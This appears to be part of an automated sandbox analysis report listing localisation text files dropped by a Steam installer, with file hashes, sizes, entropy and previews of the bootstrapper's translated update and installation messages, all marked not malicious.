Preview:	"Language" "bulgarian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"....".......... .. %appname%.".."SteamBootstrapper_ElevationPrompt"..."%appname% ...... .. .. ...... ..... ..........".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% .... .......... .. ....... . ....... ... ....... .., .. .. .. ........ .. .......... .. ............. .. ......".."SteamBootstrapper_RunFromDiskImageOSX".."...., .......... %appname% . ....... .. . .........., ..... .. .. ........".."SteamBootstrapper_ReadOnlyInstall"..."%appname% .... .......... .. ....... . ....... ...".."SteamBootstrapper_InstallDirNotASCII"..."%appname% .. .... .. .... ....... .. ....., ..... ... ....... ......., ..... .. .. .. .......... ...

C:\Program Files (x86)\Steam\public\steambootstrapper_czech.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (464), with CRLF line terminators
Category:	dropped
Size (bytes):	4808
Entropy (8bit):	5.250892469623968
Encrypted:	false
SSDEEP:
MD5:	6DEF4D3CF1453D5FB69D22FCA29892A4
SHA1:	09FE62653E55668DE75A9FC5B64949EA81EB4991
SHA-256:	60C29F3C57C44C58DAF69BE797BFEDE31967B1DDFC9BB68CB7DDAA0ACDA67C8C
SHA-512:	EE4F3F5DD8A8AADDE9CFF8F8ACA8A45FA419C36FD8A4A7D3AF9B71E1F7E5D9E1D01C329C70E6DA53238822B536E35224E55004BF2E1AF4EC17D5B56CCFC58549
Malicious:	false
Reputation:	unknown
Preview:	"Language" "czech" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Aktualizace klienta slu.by %appname%...".."SteamBootstrapper_ElevationPrompt"..."P.ed spu.t.n.m se klient slu.by %appname% mus. s.m aktualizovat.".."SteamBootstrapper_ReadOnlyInstallOSX".."Klient slu.by %appname% nem..e zapisovat do sv. instala.n. slo.ky. Ujist.te se, .e ho nespou.t.te z obrazu disku.".."SteamBootstrapper_RunFromDiskImageOSX".."P.ed spu.t.n.m klienta slu.by %appname% ho p.esu.te do slo.ky Aplikace.".."SteamBootstrapper_ReadOnlyInstall"..."Klient slu.by %appname% nem..e zapisovat do sv. instala.n. slo.ky.".."SteamBootstrapper_InstallDirNotASCII"..."Klienta slu.by %appname% nelze spustit z cesty, kter. obsahuje neanglick. znaky. P.einstalujte klienta slu.by %appname% do v.choz. slo.ky.".."SteamBootstrapper_InstallDirIncompatible".."Klienta slu.by %appname% nelze na t.to verzi syst.mu Windows spustit z cesty, kter. obsahuje jin. ne. ASCII znaky. P.ein

C:\Program Files (x86)\Steam\public\steambootstrapper_danish.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (474), with CRLF line terminators
Category:	dropped
Size (bytes):	4399
Entropy (8bit):	4.890028287092303
Encrypted:	false
SSDEEP:
MD5:	03B664BD98485425C21CDF83BC358703
SHA1:	0A31DCFEB1957E0B00B87C2305400D004A9A5BDB
SHA-256:	FDF7B42B3B027A12E1B79CB10AB9E6E34C668B04EB9E8A907D8611BA46473115
SHA-512:	4A8CDD4B98432BA9D9B36BC64AAB9A2EAB31A074D1CBDFAB3D35A14216C60752B5580C41BBB70104993420043685D3BD47EB6637B8FCBB3F42F76A15E4BE041D
Malicious:	false
Reputation:	unknown
Preview:	"Language" "danish" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Opdaterer %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% skal opdatere sig selv inden start.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% kan ikke skrive til dens installationsmappe. Kontroller, at du ikke fors.ger at k.re fra diskaftrykket.".."SteamBootstrapper_RunFromDiskImageOSX".."Tr.k venligst %appname% ind i din Programmer-mappe f.r du starter den.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% kan ikke skrive til dens installationsmappe.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% kan ikke k.re fra en mappe med ikke-engelske tegn. Geninstaller venligst %appname% i standardmappen.".."SteamBootstrapper_InstallDirIncompatible".."%appname% kan ikke k.re fra en mappesti, der indeholder ikke-ASCII-tegn p. denne udgave af Windows. Geninstaller venligst %appname% til standardmappen eller geninstaller p. Windows 7 eller senere.".."SteamBootstrapper_InsufficientDiskSpa

C:\Program Files (x86)\Steam\public\steambootstrapper_dutch.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (472), with CRLF line terminators
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	4.839826635659475
Encrypted:	false
SSDEEP:
MD5:	31A29061E51E245F74BB26D103C666AD
SHA1:	271E26240DB3BA0DCFFC10866CCFCFA1C33CF1CC
SHA-256:	56C8A86FA95EAB0D8F34F498E079B5516B96D2A2F1AD9C2A888555E50E47F192
SHA-512:	F85865C1E9AB45E5586D3DD2B45D15265193E8A3C34B6BB1AC7E415A1EA878CFB044E8E01012E917E4F00BB9E0A422F56253F328DF1BAC99A145E19433354CF8
Malicious:	false
Reputation:	unknown
Preview:	"Language" "dutch" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% bijwerken ...".."SteamBootstrapper_ElevationPrompt"..."%appname% moet zichzelf eerst updaten alvorens op te starten.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% kan niet naar de installatiemap schrijven. Zorg ervoor dat je niet probeert te openen vanaf de schijf-image.".."SteamBootstrapper_RunFromDiskImageOSX".."Sleep %appname% naar je programmamap voordat je het opstart.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% kan niet naar de installatiemap schrijven.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% kan niet gestart worden vanuit een map met niet-Latijnse karakters. Installeer %appname% opnieuw naar de standaardmap.".."SteamBootstrapper_InstallDirIncompatible".."%appname% kan niet worden gestart vanuit een mappad met niet-ASCII-tekens op deze versie van Windows. Installeer %appname% opnieuw in de standaardmap of installeer Windows 7 of een nieuwere versie.".."SteamBootstrapper

C:\Program Files (x86)\Steam\public\steambootstrapper_english.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	ASCII text, with very long lines (433), with CRLF line terminators
Category:	dropped
Size (bytes):	4113
Entropy (8bit):	4.850229614306553
Encrypted:	false
SSDEEP:
MD5:	2FE6613E267857982D7DF4368C9827EC
SHA1:	D520C7427B283E3FF167B850AB15352E46D328D3
SHA-256:	2EBA5F3F0B0DBCC2CD69C36C220A2355D1BA3CD67B6E25B5846C80E1604BCAC0
SHA-512:	CF2FC8978ADF54DCE5700EDA7D8BEB4917C89BF5458131171EAB95463E1B3A3315770F4BAAE07E498E8E36A8478F09E27054CA2D06B4542C86D8459360572BE4
Malicious:	false
Reputation:	unknown
Preview:	"Language" "english" .."Tokens" ..{ ..SteamBootstrapper_UpdatingSteam...."Updating %appname%..."..SteamBootstrapper_ElevationPrompt..."%appname% needs to self-update before launching."..SteamBootstrapper_ReadOnlyInstallOSX.."%appname% is unable to write to its folder. Make sure you're not trying to run from the disk image."..SteamBootstrapper_RunFromDiskImageOSX.."Please drag %appname% into your Applications folder before launching it."..SteamBootstrapper_ReadOnlyInstall..."%appname% is unable to write to its folder."..SteamBootstrapper_InstallDirNotASCII..."%appname% cannot run from a folder path with non-English characters. Please re-install %appname% to the default folder."..SteamBootstrapper_InstallDirIncompatible.."%appname% cannot run from a folder path with non-ASCII characters on this version of Windows. Please re-install %appname% to the default folder, or install on Windows 7 or later."..SteamBootstrapper_InsufficientDiskSpace.."%appname% needs %nMegaBytes%MB of free disk spa

C:\Program Files (x86)\Steam\public\steambootstrapper_finnish.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
Category:	dropped
Size (bytes):	4642
Entropy (8bit):	4.879745843045107
Encrypted:	false
SSDEEP:
MD5:	594BE5B10D9F551E551CF20EAE0E6DFC
SHA1:	191C20F5CB0C27ECC5A055FA2379694F5E27A610
SHA-256:	E350CA62E777DA4DA6D25885BE96D48E7CE3ACF021A74F2A4902354A1BF03FBB
SHA-512:	E27BF6593A177C22E16DDF5A44D82B34B02063645A7FD63943B936028D9C433C89628038768A300C296C2D3BCAB2EF6B8532A19F7283952D041865C704F62B0B
Malicious:	false
Reputation:	unknown
Preview:	"Language" "finnish" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."P.ivitet..n %appname%ia...".."SteamBootstrapper_ElevationPrompt"..."%appname%in pit.. tehd. p.ivitys ennen k.ynnist.mist..".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% ei pysty kirjoittamaan asennushakemistoonsa. Varmista, ett. et yrit. k.ytt.. levykuvaa k.ynnist.miseen.".."SteamBootstrapper_RunFromDiskImageOSX".."Ole hyv. ja ved. %appname% Applications-kansioosi ennen kuin k.ynnist.t sen.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% ei pysty kirjoittamaan asennushakemistoonsa.".."SteamBootstrapper_InstallDirNotASCII"..."Sovellusta %appname% ei voida suorittaa tiedostosijainnista, joka sis.lt.. muita kuin englanninkielisi. aakkosia. Ole hyv. ja asenna %appname% uudelleen oletustiedostosijaintiin.".."SteamBootstrapper_InstallDirIncompatible".."T.m. versio Windowsista ei voi suorittaa ohjelmaa %appname% kansiopolusta, joka sis.lt.. muita kuin ASCII-merkkej.. Asenna %a

C:\Program Files (x86)\Steam\public\steambootstrapper_french.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (485), with CRLF line terminators
Category:	dropped
Size (bytes):	4915
Entropy (8bit):	4.9461632479398325
Encrypted:	false
SSDEEP:
MD5:	DA69785DFBF494002F108DD73020183D
SHA1:	34BB6061CDF120E7DCED0402E588C3F712CF2DC0
SHA-256:	8CCE22E7F13486F2BC612DCC8FA31D81038E6084A350FA10299D40C3A7F878C8
SHA-512:	DB773783B63ED1D66A59272E05304C174B69F85D2838AE8049DFFED6B6B30C2011FD9042DD652F9A1733A2B6891870B426CF1985D41921E5360C9B1AE1330E20
Malicious:	false
Reputation:	unknown
Preview:	"Language" "french" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Mise . jour de %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% doit effectuer une mise . jour automatique avant de d.marrer.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% ne peut pas .crire dans son r.pertoire d'installation. Assurez-vous de ne pas l'ex.cuter depuis l'image disque.".."SteamBootstrapper_RunFromDiskImageOSX".."Veuillez faire glisser %appname% dans votre dossier Applications avant de le lancer.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% ne peut pas .crire dans son r.pertoire d'installation.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% ne peut pas .tre ex.cut. depuis un r.pertoire dont le chemin d'acc.s contient des caract.res non-anglais. Veuillez r.installer %appname% dans le r.pertoire par d.faut.".."SteamBootstrapper_InstallDirIncompatible".."%appname% ne peut pas .tre lanc. depuis un dossier contenant des caract.res non-ASCII sur cette

C:\Program Files (x86)\Steam\public\steambootstrapper_german.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (496), with CRLF line terminators
Category:	dropped
Size (bytes):	4802
Entropy (8bit):	4.901414272155403
Encrypted:	false
SSDEEP:
MD5:	395286DB3E67A59868E2662C326C541A
SHA1:	716014D76622612A1BDE2D4E1744D024F6D0B830
SHA-256:	02E48EE4E10354A2B2741D2E57EF565404753779F847906B5AE5C98EDE06C01B
SHA-512:	64CDF1E6701EA57474051E338EEE74859FC0FF4ACD71EE0718A9B8CD698E94A9793C1901B6791FC0FC268C53FBC1E7E2F94AC1024F3F8765BF713954C194B0FE
Malicious:	false
Reputation:	unknown
Preview:	"Language" "german" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% wird aktualisiert...".."SteamBootstrapper_ElevationPrompt"..."%appname% wird vor dem Start automatisch aktualisiert.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% kann nicht in das Installationsverzeichnis schreiben. Vergewissern Sie sich, dass das Programm nicht vom Speicherabbild aus starten.".."SteamBootstrapper_RunFromDiskImageOSX".."Bitte ziehen Sie %appname% vor dem Start in den Ordner \"Programme\".".."SteamBootstrapper_ReadOnlyInstall"..."%appname% kann nicht in das Installationsverzeichnis schreiben.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% kann nicht aus einem Pfad mit Nicht-ASCII-Zeichen ausgef.hrt werden. Bitte installieren Sie %appname% in das Standardverzeichnis neu.".."SteamBootstrapper_InstallDirIncompatible".."%appname% kann unter dieser Version von Windows nicht aus einem Pfad mit Nicht-ASCII-Zeichen ausgef.hrt werden. Bitte installieren Sie %appname% in das Stan

C:\Program Files (x86)\Steam\public\steambootstrapper_greek.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (459), with CRLF line terminators
Category:	dropped
Size (bytes):	6298
Entropy (8bit):	5.180380404491245
Encrypted:	false
SSDEEP:
MD5:	B9E30DF8CF272813B121133FCF259752
SHA1:	16706F982F16D5FEB9C808F94B8CFA50C23F5D80
SHA-256:	88919D7BE26FB3E06401FC0254733D92FD743ECC56DA4177B41613E1F094C3E8
SHA-512:	7BEB65C0477B02742741A8CE23557F4F15E8CF1B1EF03A6BBADBF594BDF2CD686D7356D93719111D27B309A10CA75846765A13BB3EB4D0411785DFB13A675FC4
Malicious:	false
Reputation:	unknown
Preview:	"Language" "greek" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."......... %appname%...".."SteamBootstrapper_ElevationPrompt"...".. %appname% ...... .. .......... .... ..........".."SteamBootstrapper_ReadOnlyInstallOSX"..".. %appname% ... ...... .. ...... ... ...... ............ .... ............. ... ... ........... .. .. .......... ... ........ ......".."SteamBootstrapper_RunFromDiskImageOSX".."...... .. %appname% ... ...... ......... ... .... .. ...........".."SteamBootstrapper_ReadOnlyInstall"...".. %appname% ... ...... .. ...... ... ...... ............ ....".."SteamBootstrapper_InstallDirNotASCII"...".. %appname% ... ...... .. ......... ... ........ ....... .. .. ......... .........

C:\Program Files (x86)\Steam\public\steambootstrapper_hungarian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (493), with CRLF line terminators
Category:	dropped
Size (bytes):	4836
Entropy (8bit):	5.145519014389454
Encrypted:	false
SSDEEP:
MD5:	18AAAF5FFCDD21B1B34291E812D83063
SHA1:	AA9C7AE8D51E947582DB493F0FD1D9941880429F
SHA-256:	1F45BB7BDFA01424F9237EEC60EBA35DC7F0DC4E8C2E193FE768FE96D3FF76D5
SHA-512:	4F3E56D1ABE26B56D3F805DC85BAACA450C0C7BEC57EBCF8A6BB6EBB8588307DAD130C83BF792BAC76694909A14FD6A4D7D1E9B31E32FBA11256343B9FC18154
Malicious:	false
Reputation:	unknown
Preview:	"Language" "hungarian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."A %appname% friss.t.se...".."SteamBootstrapper_ElevationPrompt"..."A %appname% az ind.t.s el.tt elv.gzi a sz.ks.ges friss.t.seket.".."SteamBootstrapper_ReadOnlyInstallOSX".."A %appname% nem tud .rni a telep.t.si k.nyvt.rba. Ellen.rizd, nem a lemezk.pr.l pr.b.lod-e futtatni.".."SteamBootstrapper_RunFromDiskImageOSX".."H.zd be a(z) %appname% alkalmaz.st az Alkalmaz.sok mapp.ba ind.t.s el.tt.".."SteamBootstrapper_ReadOnlyInstall"..."A %appname% nem tud .rni a telep.t.si k.nyvt.rba.".."SteamBootstrapper_InstallDirNotASCII"..."A(z) %appname% nem futtathat. nem angol karaktereket tartalmaz. .tvonalr.l. Telep.tsd .jra a(z) %appname% alkalmaz.st az alap.rtelmezett mapp.ba.".."SteamBootstrapper_InstallDirIncompatible".."A(z) %appname% a Windows ezen verzi.j.n nem tud olyan mapp.b.l futni, ami nem-ASCII karaktereket tartalmaz. el.r.si .ttal rendelkezik. K.rj.k, telep.

C:\Program Files (x86)\Steam\public\steambootstrapper_italian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (477), with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.801806209913618
Encrypted:	false
SSDEEP:
MD5:	8958371646901EAC40807EEB2F346382
SHA1:	55FB07B48A3E354F7556D7EDB75144635A850903
SHA-256:	B01EC64D75FD1FBD00FBEB45A3FB39244911A8B22BB43DE4E0C03F205184F585
SHA-512:	14C5DBB017822336F22BF6779CCD4A66604DDC5F2C3CAA24271E96F739FEF007754D96844EFA422D6682CBCD2D3BC902C36F0F6ACB3EB87ED8D7B3F885973554
Malicious:	false
Reputation:	unknown
Preview:	"Language" "italian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Aggiornamento di %appname%...".."SteamBootstrapper_ElevationPrompt"...". necessario che %appname% si aggiorni automaticamente prima dell'avvio.".."SteamBootstrapper_ReadOnlyInstallOSX".."Impossibile scrivere nella cartella di installazione di %appname%. Verificare che non si stia tentando l'esecuzione dall'immagine del disco.".."SteamBootstrapper_RunFromDiskImageOSX".."Trascina %appname% nella tua cartella delle Applicazioni prima di avviarlo.".."SteamBootstrapper_ReadOnlyInstall"..."Impossibile scrivere nella cartella di installazione di %appname%.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% non pu. essere avviato da un percorso contenente caratteri non inglesi. Reinstalla %appname% nel percorso predefinito.".."SteamBootstrapper_InstallDirIncompatible".."%appname% non pu. essere avviato da una cartella con caratteri non ASCII su questa versione di Windows. Reinstalla %appname% nella cartella prede

C:\Program Files (x86)\Steam\public\steambootstrapper_japanese.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	5561
Entropy (8bit):	5.659557195993761
Encrypted:	false
SSDEEP:
MD5:	7E1D15FC9BA66A868C5C6CB1C2822F83
SHA1:	BFE9A25FDC8721D7B76CECB9527A9BA7823DC3D7
SHA-256:	FC74E26A8BAABBE4851109512D85173B75DBF7293D41EB3B92A1957A773C8265
SHA-512:	0892BE14A858CC860766AFB1C996B2C355108A7E50971EA3EC00D15069E919A6EB05A61FA839BEA3938492C391E274144C5E248F4C204A602BF36ADF27E5B406
Malicious:	false
Reputation:	unknown
Preview:	"Language" "japanese" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% .......".."SteamBootstrapper_ElevationPrompt"..."%appname% ......................".."SteamBootstrapper_ReadOnlyInstallOSX".."...... ........................ ......................".."SteamBootstrapper_RunFromDiskImageOSX".."......%appname%.........................".."SteamBootstrapper_ReadOnlyInstall"..."...... ...............".."SteamBootstrapper_InstallDirNotASCII"..."%appname%.................................... %appname%........................".."SteamBootstrapper_InstallDirIncompatible".."%appname%........

C:\Program Files (x86)\Steam\public\steambootstrapper_korean.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	5.906820187216624
Encrypted:	false
SSDEEP:
MD5:	D75580775D67A85353189736222A8878
SHA1:	CCB2275C8F5D119640064FD533CA15F30D93F331
SHA-256:	10720923C1048502C5191D6D1D8580E35E707B24D457941DAE94A87371AF989A
SHA-512:	757DD94A1E3DEBB2520855A3D00E44E3A98B5764CAF9C16C8D088FC1A1F1024EED742F1051635721F4BF2C00D1DAC11FD975C09A7F5DF78D1863DE88F9BBF9FE
Malicious:	false
Reputation:	unknown
Preview:	"Language" "korean" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% .... ....".."SteamBootstrapper_ElevationPrompt"...".. .. .. %appname% .. ... ...... ....".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% .. ... .. ... . . ..... .. ... ..... .. .. .. ... ........".."SteamBootstrapper_RunFromDiskImageOSX"..".... .. %appname%. ...... .. ... ... ....".."SteamBootstrapper_ReadOnlyInstall"..."%appname% .. ... .. ... . . .....".."SteamBootstrapper_InstallDirNotASCII"..."%appname%. ... .. ... ... ..... ... . ..... %appname%. .. ... ........".."SteamBootstrapper_InstallDirIncompatible"..". ... Windows... . ASCII ... ... .. .... %appname%.(.) .

C:\Program Files (x86)\Steam\public\steambootstrapper_koreana.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	5.906820187216624
Encrypted:	false
SSDEEP:
MD5:	D75580775D67A85353189736222A8878
SHA1:	CCB2275C8F5D119640064FD533CA15F30D93F331
SHA-256:	10720923C1048502C5191D6D1D8580E35E707B24D457941DAE94A87371AF989A
SHA-512:	757DD94A1E3DEBB2520855A3D00E44E3A98B5764CAF9C16C8D088FC1A1F1024EED742F1051635721F4BF2C00D1DAC11FD975C09A7F5DF78D1863DE88F9BBF9FE
Malicious:	false
Reputation:	unknown
Preview:	"Language" "korean" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% .... ....".."SteamBootstrapper_ElevationPrompt"...".. .. .. %appname% .. ... ...... ....".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% .. ... .. ... . . ..... .. ... ..... .. .. .. ... ........".."SteamBootstrapper_RunFromDiskImageOSX"..".... .. %appname%. ...... .. ... ... ....".."SteamBootstrapper_ReadOnlyInstall"..."%appname% .. ... .. ... . . .....".."SteamBootstrapper_InstallDirNotASCII"..."%appname%. ... .. ... ... ..... ... . ..... %appname%. .. ... ........".."SteamBootstrapper_InstallDirIncompatible"..". ... Windows... . ASCII ... ... .. .... %appname%.(.) .

C:\Program Files (x86)\Steam\public\steambootstrapper_latam.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (466), with CRLF line terminators
Category:	dropped
Size (bytes):	4731
Entropy (8bit):	4.840050340018254
Encrypted:	false
SSDEEP:
MD5:	7913F3F33839E3AF9E10455DF69866C2
SHA1:	15FA957D0A6A2717027F5B35F4DBE5E0AB8ECE25
SHA-256:	05BC1F4973C6D36002AC1B37CE46B1F941FCB4338282E0EC1EC83FB558D1A88C
SHA-512:	534E541757D19EE157A268BF7EA358B48015F400542FCFA49CDB547CD652926160F015FE2CF026D9C4996E56AB90CA3899DFD457997D915BF6BC9D7BB00BA804
Malicious:	false
Reputation:	unknown
Preview:	."Language" "latam" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Actualizando %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% debe auto-actualizarse antes de iniciarse.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% no puede escribir en su directorio de instalaci.n. Aseg.rate de que no est.s intentando ejecutarlo desde la imagen del disco.".."SteamBootstrapper_RunFromDiskImageOSX".."Por favor, arrastra %appname% a la carpeta Aplicaciones antes de iniciarlo.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% no puede escribir en su directorio de instalaci.n.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% no puede iniciarse desde una ruta de carpeta con caracteres que no se encuentren en el alfabeto ingl.s. Por favor, vuelve a instalar %appname% en la carpeta predeterminada.".."SteamBootstrapper_InstallDirIncompatible".."%appname% no puede ejecutarse desde una ruta de carpeta con caracteres no ASCII en esta versi.n de Windows. Reinstala %app

C:\Program Files (x86)\Steam\public\steambootstrapper_norwegian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	4398
Entropy (8bit):	4.893121842116919
Encrypted:	false
SSDEEP:
MD5:	5462F47E56B978659EF56F196DB013F4
SHA1:	4749824D4E909369F59217D4980963FF17353F3F
SHA-256:	CBFBE91D4A4661DF814EA447C03F4CA872EF3E27073A1EB746FACCBFE75AFC8A
SHA-512:	5A437968FC06619CF553CED32DBA9C7C948F4364F02C8017986E9A4F09E9832B849C7E0567485CA1BEBA34A258D29B2612EA3ED6045C81777E9A5201139F81A3
Malicious:	false
Reputation:	unknown
Preview:	"Language" "norwegian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Oppdaterer %appname% .".."SteamBootstrapper_ElevationPrompt"..."%appname% m. oppdatere seg selv f.r det starter.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% kan ikke skrive til installeringsmappen. Kontroller at du ikke pr.ver . kj.re fra diskavbildningen.".."SteamBootstrapper_RunFromDiskImageOSX".."Vennligst dra %appname% inn i Programmer-mappen din f.r du starter det.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% kan ikke skrive til installeringsmappen.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% kan ikke kj.re fra en mappebane med ikke-engelske tegn. Installer %appname% p. nytt i standardmappen.".."SteamBootstrapper_InstallDirIncompatible".."%appname% kan ikke kj.re fra en mappebane med tegn som ikke er fra ASCII-tegnsettet p. denne versjonen av Windows. Installer %appname% p. nytt i standardmappen, eller installer Windows 7 eller nyere.".."SteamBootstrapper_Insufficien

C:\Program Files (x86)\Steam\public\steambootstrapper_polish.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (458), with CRLF line terminators
Category:	dropped
Size (bytes):	4620
Entropy (8bit):	5.147483167865897
Encrypted:	false
SSDEEP:
MD5:	9B0B0E82F753CC115D87C7199885AD1B
SHA1:	5743A4AB58684C1F154F84895D87F000B4E98021
SHA-256:	0BDEEE9FA28D54D384E06EA646FBCFE3F06698A31DFDC1A50703FFE83AD78D32
SHA-512:	B7780B82FBE705BC8E5A527C011EB685C99EF0B2EB810617B9F82B891341AF95EF1C2F46DCE9E458C0C4DCC3E7A0D21DB6C77F03419CD1C4B521A9B72F9017DF
Malicious:	false
Reputation:	unknown
Preview:	"Language" "polish" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Aktualizowanie %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% musi zosta. zaktualizowany przed uruchomieniem.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% nie mo.e zapisa. w katalogu instalacji. Upewnij si., .e nie uruchamiasz z obrazu dysku.".."SteamBootstrapper_RunFromDiskImageOSX".."Przed uruchomieniem nale.y przeci.gn.. %appname% do folderu Aplikacje.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% nie mo.e zapisa. w katalogu instalacji.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% nie mo.e zosta. uruchomiony z folderu o .cie.ce posiadaj.cej znaki inne ni. angielskie. Przeinstaluj %appname% do folderu domy.lnego.".."SteamBootstrapper_InstallDirIncompatible".."Aplikacja %appname% nie mo.e zosta. uruchomiona z folderu o .cie.ce posiadaj.cej znaki spoza zakresu ASCII na tej wersji systemu Windows. Zainstaluj ponownie %appname% do domy.lnego folderu lu

C:\Program Files (x86)\Steam\public\steambootstrapper_portuguese.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (452), with CRLF line terminators
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.911414478551937
Encrypted:	false
SSDEEP:
MD5:	EB8926608C5933F05A3F0090E551B15D
SHA1:	A1012904D440C0E74DAD336EAC8793AC110F78F8
SHA-256:	2ED2B0D654D60E0A82B0968A91D568B775144E9D92F2B077B6DA75F85AD12D04
SHA-512:	9113C42C38836F71FF0CC7019AFF8C873845F47FBF1AB97E981CB038F4D8495B6DF784402B1EE9666E8E567AE866B0284C81E6A16EFB47131D5EF88569C4843A
Malicious:	false
Reputation:	unknown
Preview:	"Language" "portuguese" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."A atualizar o %appname%...".."SteamBootstrapper_ElevationPrompt"..."O %appname% tem de ser atualizado antes de ser iniciado.".."SteamBootstrapper_ReadOnlyInstallOSX".."O %appname% n.o pode gravar no seu diret.rio de instala..o. N.o . poss.vel executar a partir da imagem de disco.".."SteamBootstrapper_RunFromDiskImageOSX".."Arrasta %appname% para a tua pasta de Aplica..es antes de o iniciares.".."SteamBootstrapper_ReadOnlyInstall"..."O %appname% n.o pode gravar no seu diret.rio de instala..o.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% n.o consegue ser executado num diret.rio com caracteres n.o ingleses. Por favor, reinstala %appname% na pasta predefinida.".."SteamBootstrapper_InstallDirIncompatible".."%appname% n.o pode ser executado a partir de uma pasta com caracteres que n.o sejam ASCII nesta vers.o do Windows. Por favor, reinstale %appname% na pasta predefinida, ou instale-a

C:\Program Files (x86)\Steam\public\steambootstrapper_romanian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (456), with CRLF line terminators
Category:	dropped
Size (bytes):	4653
Entropy (8bit):	4.969982869906563
Encrypted:	false
SSDEEP:
MD5:	31BD3D4D8DE5AF4642B21D586D5EE54D
SHA1:	552BEBB93C71CD8ACD72558DB1810530909FB276
SHA-256:	52F256DED29CE22945B5BC0EF7A227189DFA91DA69265EC13283A7067C239071
SHA-512:	CEA49FC70B18A1294EC7E564FF7F4D1FF7EFEB0DB1CF1B088DA6ADCECC282569380F225E9A150D1666C5C1977BA4DE0A5D9D667C72CFB8569A50546B978E9132
Malicious:	false
Reputation:	unknown
